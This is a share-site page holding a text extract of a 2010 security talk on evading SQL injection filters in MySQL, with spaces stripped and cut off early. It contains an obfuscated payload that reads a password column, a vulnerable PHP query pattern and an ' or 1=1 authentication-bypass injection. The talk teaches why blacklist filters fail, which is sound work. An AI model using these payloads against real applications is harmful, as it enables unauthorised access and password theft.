资源描述：
《mysql注入绕过技术 英文版.pdf》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。
1、SQLifilterevasionandobfuscationJohannesDahse,Prague,CzechRepublic,29-30.11.201010.Introduction1.MySQLsyntax2.Keywordfilter3.FunctionfilterWhoamI?●JohannesDahse●BasedinBochum,Germany●ITsecuritystudentattheRuhr-University●websec.wordpress.com●RIPS-staticsourcecodeanalyserforPHP(
2、sourceforge.net/projects/rips-scanner/)●@FluxReiners(twitter.com)●Thisismyfirsttalk,benice:)20.Introduction1.MySQLsyntax2.Keywordfilter3.FunctionfilterTopic●FilterevasionduringSQLinjection(SQLi)attacks●Howtobypassfiltersinproductsandapplications●WhyblacklistfiltersforSQLiareba
3、d●SQLfoo,newperspectiveonSQL●MySQLonly(widelyspread,veryflexible:thinkJavascript)●NoSQLibasics●NostoredprocedureinjectionsEXEC(0x616263)30.Introduction1.MySQLsyntax2.Keywordfilter3.FunctionfilterWewillseehowthisworks:true-(mod(length(trim(leading(concat(lower(conv(version()*(t
4、rue+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(co
5、nv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(),pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),
6、pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass)))40.Introduction1.MySQLsyntax2.Keywordfilter3.Functi
7、onfilterConvention●ForthispresentationweassumethefollowingSQLi:$name=filter($_GET['name']);SELECTdataFROMusersWHEREname='$name'●Goal:AuthBypassorreadingthecolumnpass●Thefollowingslidesonlylisttheinjection:'or1=1---SELECTdataFROMusersWHEREname=''or1=1---'50.Introduction1.MySQLs
8、yntax2.Keywordfilter3.Functionfilter1.MySQLsyntaxandauthbypas
